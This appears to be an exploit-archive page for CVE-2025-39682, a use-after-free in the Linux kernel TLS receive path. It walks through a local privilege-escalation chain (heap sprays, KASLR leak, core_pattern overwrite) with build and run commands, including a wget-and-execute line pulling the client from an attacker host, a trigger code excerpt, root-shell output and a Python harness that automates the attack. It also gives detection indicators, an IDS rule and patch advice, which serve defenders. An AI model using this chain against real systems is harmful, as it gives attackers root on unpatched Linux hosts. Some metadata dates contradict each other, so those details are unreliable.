PoC Archive PoC Archive
CVE-2025-39682 category: binary CVSS 9.8 (CRITICAL) KEV
Patched

Linux Kernel TLS Zero-Length Record rx List Use-After-Free (CVE-2025-39682)

Published: 2026-11-27 • Researcher: Khoa Tran (GitHub khoatran107); Linux kernel TLS maintainers and NVD CNA

Target software Linux kernel TLS subsystem (net/tls, kTLS)
Affected versions NVD ranges: 6.0 to before 6.1.149; 6.2 to before 6.6.103; 6.7 to before 6.12.44; 6.13 to before 6.16.4. 6.17-rc1 and 6.17-rc2 are also listed. The exploit targets the 6.6-based kernelCTF mitigation-v4-6.6 image.
Status Weaponized (local root exploit demonstrated on kernelCTF mitigation-v4-6.6; 79/100 success rate claimed)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV

Confirmed exploited in the wild. Added to CISA KEV 2026-09-18. Federal remediation deadline 2026-09-21.

EPSS 2.2% · 83th percentile

Severity
Critical
CVE
CVE-2025-39682
Category
binary
Affected product
Linux kernel TLS subsystem (net/tls, kTLS)
Affected versions
NVD ranges: 6.0 to before 6.1.149; 6.2 to before 6.6.103; 6.7 to before 6.12.44; 6.13 to before 6.16.4. 6.17-rc1 and 6.17-rc2 are also listed. The exploit targets the 6.6-based kernelCTF mitigation-v4-6.6 image.
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2025-10-14
Author / ResearcherKhoa Tran (GitHub khoatran107); Linux kernel TLS maintainers and NVD CNA
CVE / AdvisoryCVE-2025-39682
Categorybinary
SeverityCritical
CVSS Score9.8 (CVSSv3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD)
StatusWeaponized (local root exploit demonstrated on kernelCTF mitigation-v4-6.6; 79/100 success rate claimed)
Tagslinux-kernel, ktls, tls, use-after-free, rx-list, zero-length-record, local-privilege-escalation, kernelCTF, CWE-754
RelatedN/A (upstream author describes it as a variant of CVE-2024-58239)

Affected Target

FieldValue
Software / SystemLinux kernel TLS subsystem (net/tls, kTLS)
Versions AffectedNVD ranges: 6.0 to before 6.1.149; 6.2 to before 6.6.103; 6.7 to before 6.12.44; 6.13 to before 6.16.4. 6.17-rc1 and 6.17-rc2 are also listed. The exploit targets the 6.6-based kernelCTF mitigation-v4-6.6 image.
Language / PlatformC and C++ (static exploit binaries), x86_64 Linux; runs inside a kernelCTF QEMU guest
Authentication RequiredNo (unprivileged local user)
Network Access RequiredLocal only (loopback TCP socket pair created by the exploit)

Summary

CVE-2025-39682 is a use-after-free in the Linux kernel TLS receive path. Each recvmsg call must return either contiguous DATA records or one non-DATA record, but a zero-length record delivered from the rx list can be decrypted with zero-copy and then treated as a queued skb that is no longer valid. An unprivileged local attacker who controls the peer side of a kTLS socket can send a crafted sequence of DATA and zero-length control records to free an skb while a stale reference keeps pointing at its page. The supplied exploit turns that stale reference into a page-level use-after-free, reclaims the page as a filp slab, leaks the KASLR base, overwrites the core pattern sysctl, and executes a setuid-root helper to obtain a root shell.

Vulnerability Details

Root Cause

The kTLS receive loop in net/tls/tls_sw.c breaks out of its processing loop when the record type changes and queues a pending decrypted record onto strp->rx_list so the next recvmsg can pick it up. Zero-copy decrypt is only permitted for DATA records, so the code assumed that it could never zero-copy a record and then discover a type change. The missed corner case is a zero-length record that is already sitting on rx_list: the record is consumed through the zero-copy path even though no skb is queued for it, leaving the anchor skb’s frag_list pointing at a skb that is subsequently freed. The fix commit, tls: fix handling of zero-length records on the rx_list, handles that case before the zero-copy decision.

Attack Vector

A local unprivileged process creates a connected TCP socket pair, sets the tls ULP on both ends, installs TLS 1.2 AES-CCM RX keys on the victim end, and acts as the peer that sends raw TLS records: an 11-byte DATA record, a zero-length control record, then another DATA record. Two recvmsg calls trigger the bug and free an skb while the anchor still references its page. The exploit then sprays skbuff heads, pipe buffers, and signalfd file objects to reclaim the freed page, reads the reclaimed filp slab to compute the kernel base, and overwrites the core_pattern sysctl with a pipe handler that runs a memfd copy of the exploit as root.

Impact

Local privilege escalation from an unprivileged user to root on an affected kernel. Successful exploitation gives full control of the kernel and the guest, defeats KASLR, and allows the attacker to read the kernelCTF flag and any other data on the system. The underlying bug is a kernel memory corruption primitive that could be adapted beyond the supplied challenge target.

Environment / Lab Setup

Output
OS:          Linux x86_64 host with KVM (the exploit is built for the kernelCTF mitigation-v4-6.6 guest)
Target:      kernelCTF mitigation-v4-6.6 instance (6.6-based kernel) running under QEMU
Attacker:    the exploit's client binary, downloaded into the guest and run as an unprivileged user
Tools:       g++, make, qemu-system-x86_64, pwntools (test.py and calc_AC_rate.py), gdb (optional)

Setup Steps

Shell script
1
2
3
4
./compile.sh
pip install pwntools

python3 test.py <attacker-ip> <port>

Proof of Concept

Step-by-Step Reproduction

  1. Build the exploit — compile the client/server pair with the supplied Makefile.

    Shell script
    1
    
    ./compile.sh
  2. Start the attacker-side record server — the server sends the pre-crafted TLS 1.2 AES-CCM records (DATA length 11, zero-length control, DATA length 11).

    Shell script
    1
    
    ./exploit/mitigation-v4-6.6/server --port 1111
  3. Boot the vulnerable guest — local_runner.sh and qemu.sh launch the kernelCTF mitigation-v4-6.6 image with the supplied flag file.

    Shell script
    1
    
    ./local_runner.sh mitigation-v4-6.6
  4. Run the client inside the guest — download and execute the client as the unprivileged user.

    Shell script
    1
    
    cd /tmp && wget http://<attacker-ip>:3000/client && chmod +x ./client && ./client --ip <attacker-ip> --port 1111
  5. Trigger the bug and escalate — the client performs the two recvmsg calls, sprays to reclaim the freed page, overwrites core_pattern, and crashes a helper to spawn a root shell.

    Shell script
    1
    
    # the exploit itself performs these steps; no manual kernel interaction is required

Exploit Code

See exploit/mitigation-v4-6.6/client.cpp for the full exploit, exploit/mitigation-v4-6.6/server.cpp for the record sender, and exploit/mitigation-v4-6.6/shared.h plus exploit/mitigation-v4-6.6/sprayer.h for the TLS helpers and skb sprayer. exploit/mitigation-v4-6.6/exploit.c is a smaller standalone trigger harness.

C source
1
2
3
4
5
6
7
8
9
/* Core trigger shape: one DATA record, a zero-length control record, then DATA.
 * The server sends these as raw TLS 1.2 AES-CCM records; the client reads twice. */
ret = tls_recv_cmsg(client_fd, NULL, buf, sizeof(buf), 0);
ret = tls_recv_cmsg(client_fd, NULL, buf, sizeof(buf), 0);
if (*(u64*)buf == 0) {
    printf("[-] Failed. Can't trigger the bug");
    return 1;
}
printf("[+] Successfully triggered the bug\n");

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[+] Connected to server 10.0.0.1:1111
[+] Successfully triggered the bug
[o] anchor->frag_list = B
[o] Done UAF-freed B (cpu 0) and UAF-freed anchor (cpu 1). anchor->frag_list = B
[+] Successfully reclaimed P as a slab in `filp` cache
[+] kaslr_base @ 0xffffffff81000000
[+] core_pattern @ 0xffffffff813b3720
[+] Done overwriting core_pattern
[+] Root shell !!
uid=0(root) gid=0(root) groups=0(root)
kernelCTF{example_flag}

Detection & Indicators of Compromise

Output
BUG: KASAN: use-after-free in tls_sw_recvmsg
Read of size 8 at addr ... by task client
Freed by task client
  skb_release_data
  tls_sw_recvmsg

$ cat /proc/sys/kernel/core_pattern
|/proc/%P/fd/666 %P

- Processes setting TCP_ULP to "tls" and exchanging zero-length control records on loopback
- Large numbers of signalfd file descriptors and AF_UNIX socket pairs created by one process
- A memfd copied from /proc/self/exe and mapped over file descriptor 666
- A crashing process whose core handler path is /proc/<pid>/fd/666

SIEM / IDS Rule (example):

Output
alert kernel any any -> any any (msg:"Possible CVE-2025-39682 kTLS rx_list UAF attempt"; \
  content:"core_pattern"; \
  content:"|2f 70 72 6f 63 2f 25 50 2f 66 64 2f 36 36 36|"; sid:9039682;)

Remediation

ActionDetail
PatchUpgrade to 6.1.149, 6.6.103, 6.12.44, or 6.16.4 (or a later stable release containing commit 62708b9452f8).
WorkaroundDisable kTLS for untrusted local users where feasible; on container hosts restrict CAP_NET_ADMIN and seccomp profiles that permit setsockopt TCP_ULP.
Config HardeningSet kernel.core_pattern to a fixed root-owned handler that cannot be rewritten by unprivileged users, enable kernel.dmesg_restrict and kernel.kptr_restrict, and keep KASLR plus slab freelist hardening enabled.

References

Notes

Auto-prepared 2026-11-27 from the watchlist record. Review verdict: genuine, non-malicious kernel exploit research. The repository contains the actual trigger, heap sprays, KASLR leak, and core_pattern overwrite; it targets the Google kernelCTF mitigation-v4-6.6 challenge instance, uses a placeholder flag file, and does not contain any credential theft, backdoor, or persistence code. License: the upstream repository ships no LICENSE file, so no license is asserted here; attribution is retained through upstream-README.md. Limitations: the kernelCTF release images (bzImage, rootfs_v3.img, ramdisk_v1.img, vmlinux) are not part of the repository, and the hardcoded SIGNALFD_FOPS and CORE_PATTERN offsets make the exploit specific to that build; the author reports a 79/100 success rate. The compiled client/server binaries and shared/exploit were not copied. No exploit code was executed during archive preparation.

calc_AC_rate.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import sys

context.log_level = 'CRITICAL'
my_dict = {}

import random
ip = sys.argv[1]
port = int(sys.argv[2])
count = int(sys.argv[3])
success = 0

for i in range(count):
    print(f'#{i+1}')
    p = process(["./exploit/mitigation-v4-6.6/server", "--port", str(port)])
    q = process(["./local_runner.sh", "mitigation-v4-6.6"])
    q.sendlineafter(b"user@", f"cd /tmp && wget http://{ip}:3000/client && chmod +x ./client && ./client --ip {ip} --port {port}".encode())
    try:
        data = q.recvall(timeout=10)
        print(data.decode())
    except:
        pass

    if b'root' in data:
        success += 1

    p.close()
    q.close()
    port += 2
    print(f'Success rate: {success}/{i+1}')